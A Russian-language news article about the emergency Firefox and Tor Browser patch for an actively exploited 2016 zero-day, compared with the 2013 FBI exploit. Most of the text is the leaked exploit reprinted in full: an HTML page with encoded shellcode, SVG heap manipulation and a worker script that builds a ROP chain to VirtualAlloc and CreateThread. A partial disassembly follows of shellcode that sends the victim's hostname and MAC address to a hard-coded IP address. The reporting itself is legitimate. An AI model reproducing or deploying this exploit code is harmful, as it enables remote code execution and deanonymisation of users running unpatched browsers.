Разработчики Mozilla и Tor в срочном порядке выложили патчи для браузеров, которые устраняют критическую 0day-уязвимость браузера под Windows, Mac и Linux. По мнению независимого эксперта, новый эксплойт почти в точности идентичен эксплойту для 0day-уязвимости 2013 года (исполнение произвольного кода после загрузки в браузер специально составленного JS-скрипта), которую успешно использовало ФБР для деанонимизации пользователей Tor, в том числе посещавших сайты с детской порнографией.
«Срочный патч выпущен для уязвимости в безопасности, которую уже активно использовали против пользователей под Windows, — сказано в официальном сообщении Tor, опубликованном вчера днём. — В данный момент, насколько нам известно, нет таких же активных эксплойтов для OS X или Linux, этот баг сам по себе относится ко всем платформам. Поэтому мы настоятельно рекомендуем, чтобы все пользователи немедленно установили обновление для Tor Browser» (обновленная версия Firefox 45.5.1 ESR).
Tor Browser основан на открытом коде браузера Firefox от Mozilla Foundation. Плэтому вскоре после публикации вышеупомянутого поста в блоге Tor с официальным сообщением выступил также сотрудник отдела безопасности Mozilla Дэниель Ведиц (Daniel Veditz). Он сказал, что уязвимость закрыта в только что выпущенном обновлении Firefox на стабильном канале.
Обновление Firefox выпустили очень быстро. Копию кода эксплойта специалисты по безопасности получили в среду утром. Буквально за несколько часов они подготовили и выпустили патч.
Уязвимость с удалённым исполнением кода срабатывает после открытия браузером специальным образом составленного JS-скрипта, который использует масштабируемую векторную графику. Эксплойт получает IP-адрес и MAC-адрес машины и отправляет его на удалённый сервер, который контролируется злоумышленником. Код этого эксплойта уже выложен в открытом доступе. Впервые он всплыл в списке рассылки Tor: там он опубликован 29 ноября 2016 года в 21:55:23 UTC.
Эксплойт состоит из одного файла HTML и одного файла CSS, которые в списке рассылки опубликовали в деобфусцированном виде. Точную функциональность эксплойта сразу определить не удалось, но он получает доступ к VirtualAlloc в kernel32.dll и работает оттуда.
<html> <head> <script> var thecode ='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002 \ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f' + '\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\ u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190'; var worker = new Worker('cssbanner.js'); worker.postMessage(thecode); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x90; if (/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)) { offset = 0x88; // versions 47.0 or greater } var $ = function(id) { return document.getElementById(id); } var exploit = function() { var u32 = new Uint32Array(block80) u32[0x2] = arrBase - offset; u32[0x8] = arrBase - offset; u32[0xE] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') window.dump('PAUSING!!! YAYA'); containerA.pauseAnimations(); } worker.onmessage = function(e) { worker.onmessage = function(e) { window.setTimeout(function() { worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') }, 1000); } arrBase = e.data; exploit(); } var idGenerator = function() { return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idX = idGenerator(); var idA = idGenerator(); var idB = idGenerator(); var idC = idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; // </script> <style> #mtdiv{ position: absolute; width: 960px; height: 166px; z-index: 15; top: 100px; left: 50%; margin: 0 0 0 -480px; } </style> </head> <body bgcolor='#2F3236'> <div id='mtdiv'> <img src='mt.png'/> </div> </body> <script> setTimeout('window.location = \'member.php\';', 2000); </script> </html>
self.onmessage = function(msg) { thecode = msg.data; var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) }; function Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return 0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return this.read(a)&255};this.readWord=function(a){return this.read(a)&65535};this.readDword=function(a){return this.read(a)}; this.read=function(a,b){if(a%4){var c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return c>>>8*e|d<<8*(4-e)}return this._abs_read(a)};this.readStr=function(a){for(var b="",c=0;;){if(32==c)return"";var d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return b};this.write=function(a){}} function PE(b,a){this.mem=b;this.export_table=this.module_base=void 0;this.export_table_size=0;this.import_table=void 0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad NT Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory= this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void 0==this.import_directory&&this._resolve_pe_structures();for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()== d.toUpperCase()){for(var c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return 0};void 0!=a&&this.find_module_base(a)} function ROP(b,a){this.mem=b;this.pe=new PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var b=0;;){for(var e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else break;if(e==a.length)return this.module_base+b;b++}};this.findStackPivot=function(){return this.findSequence([148,195])};this.findPopRet=function(a){return this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void 0!=c?c:new ArrayBuffer(4096); c=new Uint32Array(c);var d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return c}} var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return convu32[a]},sprayArrays=function(){for(var b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+ o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/ 8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+ (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308); var spr=Array(400),arrBase=805306416,ropArrBuf=new ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase); for(memarrayloc=void 0;void 0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+ o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var mem=new Memory(memarrayloc+48,function(b){return memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var rop=new ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf); var backupESP=rop.findSequence([137,1,195]),ropChain=new Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071; ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT SUCCESS"); }; Beautified: self.onmessage = function(msg) { thecode = msg.data; var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) }; function Memory(b,a,f) { this._base_addr=b; this._read=a; this._write=f; this._abs_read = function(a) { a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) ); return 0>a?4294967295+a+1:a }; this._abs_write = function(a,b) { a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) ) }; this.readByte = function(a) { return this.read(a) & 255 }; this.readWord = function(a) { return this.read(a) & 65535 }; this.readDword = function(a){ return this.read(a) }; this.read = function(a,b) { if (a%4) { var c = this._abs_read( a & 4294967292), d = this._abs_read( a+4 & 4294967292), e = a%4; return c>>>8*e | d<<8*(4-e) } return this._abs_read(a) }; this.readStr = function(a) { for(var b = "", c = 0;;) { if (32 == c) return ""; var d = this.readByte(a+c); if(0 == d) break; b += String.fromCharCode(d); c++ } return b }; this.write = function(a){} } function PE(b,a) { this.mem = b; this.export_table = this.module_base = void 0; this.export_table_size = 0; this.import_table = void 0; this.import_table_size = 0; this.find_module_base = function(a) { for(a &= 4294901760; a; ) { if(23117 == this.mem.readWord(a)) return this.module_base=a; a -= 65536 } }; this._resolve_pe_structures = function() { peFile = this.module_base + this.mem.readWord(this.module_base+60); if(17744 != this.mem.readDword(peFile)) throw"Bad NT Signature"; this.pe_file = peFile; this.optional_header = this.pe_file+36; this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120); this.export_directory_size = this.mem.readDword(this.pe_file+124); this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128); this.import_directory_size=this.mem.readDword(this.pe_file+132)}; this.resolve_imported_function=function(a,b){ void 0==this.import_directory&&this._resolve_pe_structures(); for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){ var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base); if(a.toUpperCase()==d.toUpperCase()){ for(var c = this.mem.readDword(e) + this.module_base, e = this.mem.readDword(e+16) + this.module_base, d = this.mem.readDword(c), f = 0 ; 0 !=d ;) { if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase()) return this.mem.readDword(e+4*f); f++; d = this.mem.readDword(c+4*f) } break } e+=20 } return 0 }; void 0!=a && this.find_module_base(a) } function ROP(b,a){ this.mem = b; this.pe = new PE(b,a); this.pe._resolve_pe_structures(); this.module_base = this.pe.module_base+4096; this.findSequence = function(a) { for(var b=0;;) { for(var e=0,c=0;c<a.length;c++) if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c) e++; else break; if(e==a.length) return this.module_base+b; b++ } }; this.findStackPivot=function() { return this.findSequence([148,195]) }; this.findPopRet=function(a) { return this.findSequence([88,195]) }; this.ropChain=function(a,b,e,c) { c = void 0 != c ? c : new ArrayBuffer(4096); c = new Uint32Array(c); var d = this.findStackPivot(), f = this.findPopRet("EAX"), g = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc"); c[0]= f+1; c[1]= f; c[2]= a+b+4*e+4; c[3]= d; for(i=0;i<e;i++) c[(b>>2)+i] = d; d =(b+4>>2)+e; c[d++]=g; c[d++]=a+(b+4*e+28); c[d++]=a; c[d++]=4096; c[d++]=4096; c[d++]=64; c[d++]=3435973836; return c } } var conv=new ArrayBuffer(8), convf64=new Float64Array(conv), convu32=new Uint32Array(conv), qword2Double=function(b,a) { convu32[0]=b; convu32[1]=a; return convf64[0] }, doubleFromFloat = function(b,a) { convf64[0]=b; return convu32[a] }, sprayArrays=function() { for(var b=Array(262138),a=0;262138>a;a++) b[a]=fzero; for(a=0;a<b.length;a+=512) b[a+1] = memory, b[a+21] = qword2Double(0,2), b[a+14] = qword2Double(arrBase+o1,0), b[a+(o1+8)/8] = qword2Double(arrBase+o2,0), b[a+(o2+0)/8] = qword2Double(2,0), b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13), b[a+(o3+0)/8] = qword2Double(16,0), b[a+(o3+24)/8] = qword2Double(2,0), b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4), b[a+(o4+0)/8] = qword2Double(0,arrBase+o6), b[a+(o5+0)/8] = qword2Double(arrBase+o7,0), b[a+(o6+8)/8] = qword2Double(2,0), b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0), b[a+(o7+16)/8] = qword2Double(0,4026531840), b[a+(o7+32)/8] = qword2Double(0,3220176896), b[a+(o7+48)/8] = qword2Double(2,0), b[a+(o7+56)/8] = qword2Double(1,0), b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8), b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16), b[a+(o7+168)/8] = qword2Double(0,2), b[a+(o9+0)/8] = qword2Double(arrBase+o10,2), b[a+(o10+0)/8] = qword2Double(2,0), b[a+(o10+8)/8] = qword2Double(0,268435456), b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0), b[a+(o11+16)/8] = qword2Double(0,4026531840), b[a+(o11+32)/8] = qword2Double(0,3220176896), b[a+(o11+48)/8] = qword2Double(2,0), b[a+(o11+56)/8] = qword2Double(1,0), b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8), b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16), b[a+(o11+168)/8] = qword2Double(0,2); for(a=0;a<spr.length;a++) spr[a]=b.slice(0) }, vtable_offset=300; /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)? vtable_offset=304 : /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent) && (vtable_offset=308); var spr=Array(400), arrBase=805306416, ropArrBuf=new ArrayBuffer(4096), o1=176, o2=256, o3=768, o4=832, o5=864, o6=928, o7=1024, o8=1280, o9=1344, o10=1376, o11=1536, oRop=1792, memory=new Uint32Array(16), len=memory.length, arr_index=0, arr_offset=0; fzero=qword2Double(0,0); 0!=thecode.length%2&&(thecode+="\u9090"); sprayArrays(); postMessage(arrBase); for(memarrayloc=void 0;void 0==memarrayloc;) for(i=0;i<spr.length;i++) for(offset=0;offset<spr[i].length;offset+=512) if("object" != typeof spr[i][offset+1]) { memarrayloc=doubleFromFloat(spr[i][offset+1],0); arr_index=i; arr_offset=offset; spr[i][offset+(o2+0)/8]=qword2Double(65,0); spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27); for(j=0;33>j;j++) spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27); spr[i][offset+(o3+8)/8]=qword2Double(0,0); spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0); spr[i][offset+(o7+168)/8]=qword2Double(0,3); spr[i][offset+(o7+88)/8]=qword2Double(0,2); break } for(;memory.length==len;); var mem=new Memory(memarrayloc+48, function(b){return memory[b/4]}, function(b,a){memory[b/4]=a}), xulPtr=mem.readDword(memarrayloc+12); spr[arr_index][arr_offset+1]=ropArrBuf; ropPtr=mem.readDword(arrBase+8); spr[arr_index][arr_offset+1]=null; ropBase=mem.readDword(ropPtr+16); var rop=new ROP(mem,xulPtr); rop.ropChain(ropBase,vtable_offset,10,ropArrBuf); var backupESP=rop.findSequence([137,1,195]), ropChain=new Uint32Array(ropArrBuf); ropChain[0]=backupESP; CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread"); for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++); ropChain[i++]=3296825488; ropChain[i++]=2048; ropChain[i++]=1347469361; ropChain[i++]=1528949584; ropChain[i++]=3092271187; ropChain[i++]=CreateThread; ropChain[i++]=3096498431; ropChain[i++]=arrBase+16; ropChain[i++]=1955274891; ropChain[i++]=280697892; ropChain[i++]=704643071; ropChain[i++]=2425406428; ropChain[i++]=4294957800; ropChain[i++]=2425393407; for (var j=0;j<thecode.length;j+=2) ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1); spr[arr_index][arr_offset]=qword2Double(arrBase+16,0); spr[arr_index][arr_offset+3]=qword2Double(0,256); spr[arr_index][arr_offset+2]=qword2Double(ropBase,0); spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3); spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2); postMessage("GREAT SUCCESS"); };
Похожий код в 2013 году использовала ФБР. Для примера, вот образец дезассемблированного кода, который использовала ФБР, с небольшими комментариями для ясности. Код не загружал на машину никаких дополнительных бэкдоров — это тоже косвенно указывает на то, что его распространяли не преступники, а правоохранительные органы исключительно с целью сбора персональных данных пользователей.
Этот конкретный код открывает соединение с 65.222.202.54:80 и отправляет HTTP-запрос, содержащий имя хоста (через gethostname()
) и MAC-адрес локального хоста (через вызов SendARP
на gethostbyname()->h_addr_list
). После этого он подчищает состояние и как будто намеренно завершается со сбоем.
$ ndisasm -k 0x90,1 -k 0x256,1 -u shellcode 00000000 60 pusha 00000001 FC cld 00000002 E88A000000 call 0x91 00000007 60 pusha # win32 function resolver by @stephenfewer, used by Metasploit 00000008 89E5 mov ebp,esp 0000000A 31D2 xor edx,edx 0000000C 648B5230 mov edx,[fs:edx+0x30] 00000010 8B520C mov edx,[edx+0xc] 00000013 8B5214 mov edx,[edx+0x14] 00000016 8B7228 mov esi,[edx+0x28] 00000019 0FB74A26 movzx ecx,word [edx+0x26] 0000001D 31FF xor edi,edi 0000001F 31C0 xor eax,eax 00000021 AC lodsb 00000022 3C61 cmp al,0x61 00000024 7C02 jl 0x28 00000026 2C20 sub al,0x20 00000028 C1CF0D ror edi,0xd 0000002B 01C7 add edi,eax 0000002D E2F0 loop 0x1f 0000002F 52 push edx 00000030 57 push edi 00000031 8B5210 mov edx,[edx+0x10] 00000034 8B423C mov eax,[edx+0x3c] 00000037 01D0 add eax,edx 00000039 8B4078 mov eax,[eax+0x78] 0000003C 85C0 test eax,eax 0000003E 744A jz 0x8a 00000040 01D0 add eax,edx 00000042 50 push eax 00000043 8B4818 mov ecx,[eax+0x18] 00000046 8B5820 mov ebx,[eax+0x20] 00000049 01D3 add ebx,edx 0000004B E33C jecxz 0x89 0000004D 49 dec ecx 0000004E 8B348B mov esi,[ebx+ecx*4] 00000051 01D6 add esi,edx 00000053 31FF xor edi,edi 00000055 31C0 xor eax,eax 00000057 AC lodsb 00000058 C1CF0D ror edi,0xd 0000005B 01C7 add edi,eax 0000005D 38E0 cmp al,ah 0000005F 75F4 jnz 0x55 00000061 037DF8 add edi,[ebp-0x8] 00000064 3B7D24 cmp edi,[ebp+0x24] 00000067 75E2 jnz 0x4b 00000069 58 pop eax 0000006A 8B5824 mov ebx,[eax+0x24] 0000006D 01D3 add ebx,edx 0000006F 668B0C4B mov cx,[ebx+ecx*2] 00000073 8B581C mov ebx,[eax+0x1c] 00000076 01D3 add ebx,edx 00000078 8B048B mov eax,[ebx+ecx*4] 0000007B 01D0 add eax,edx 0000007D 89442424 mov [esp+0x24],eax 00000081 5B pop ebx 00000082 5B pop ebx 00000083 61 popa 00000084 59 pop ecx 00000085 5A pop edx 00000086 51 push ecx 00000087 FFE0 jmp eax 00000089 58 pop eax 0000008A 5F pop edi 0000008B 5A pop edx 0000008C 8B12 mov edx,[edx] 0000008E EB86 jmp short 0x16 00000090 skipping 0x1 bytes 00000091 5D pop ebp 00000092 81BDE90200004745 cmp dword [ebp+0x2e9],0x20544547 # "GET " -5420 0000009C 7570 jnz 0x10e 0000009E 8D85D1020000 lea eax,[ebp+0x2d1] "ws2_32" 000000A4 50 push eax 000000A5 684C772607 push dword 0x726774c # LoadLibraryA 000000AA FFD5 call ebp 000000AC 85C0 test eax,eax 000000AE 745E jz 0x10e 000000B0 8D85D8020000 lea eax,[ebp+0x2d8] "IPHLPAPI" 000000B6 50 push eax 000000B7 684C772607 push dword 0x726774c # LoadLibraryA 000000BC FFD5 call ebp # ebp = find function 000000BE 85C0 test eax,eax 000000C0 744C jz 0x10e 000000C2 BB90010000 mov ebx,0x190 000000C7 29DC sub esp,ebx 000000C9 54 push esp 000000CA 53 push ebx 000000CB 6829806B00 push dword 0x6b8029 # WSAStartupA 000000D0 FFD5 call ebp 000000D2 01DC add esp,ebx 000000D4 85C0 test eax,eax 000000D6 7536 jnz 0x10e 000000D8 50 push eax 000000D9 50 push eax 000000DA 50 push eax 000000DB 50 push eax 000000DC 40 inc eax 000000DD 50 push eax 000000DE 40 inc eax 000000DF 50 push eax 000000E0 68EA0FDFE0 push dword 0xe0df0fea # WSASocketA 000000E5 FFD5 call ebp 000000E7 31DB xor ebx,ebx 000000E9 F7D3 not ebx 000000EB 39C3 cmp ebx,eax 000000ED 741F jz 0x10e 000000EF 89C3 mov ebx,eax 000000F1 6A10 push byte +0x10 000000F3 8DB5E1020000 lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 } 000000F9 56 push esi 000000FA 53 push ebx 000000FB 6899A57461 push dword 0x6174a599 # connect 00000100 FFD5 call ebp 00000102 85C0 test eax,eax 00000104 741F jz 0x125 00000106 FE8D89000000 dec byte [ebp+0x89] # Try to connect 5 times 0000010C 75E3 jnz 0xf1 0000010E 80BD4F02000001 cmp byte [ebp+0x24f],0x1 00000115 7407 jz 0x11e 00000117 E83B010000 call 0x257 0000011C EB05 jmp short 0x123 0000011E E84D010000 call 0x270 00000123 FFE7 jmp edi 00000125 B800010000 mov eax,0x100 0000012A 29C4 sub esp,eax 0000012C 89E2 mov edx,esp 0000012E 52 push edx 0000012F 50 push eax 00000130 52 push edx 00000131 68B649DE01 push dword 0x1de49b6 # gethostname 00000136 FFD5 call ebp 00000138 5F pop edi 00000139 81C400010000 add esp,0x100 0000013F 85C0 test 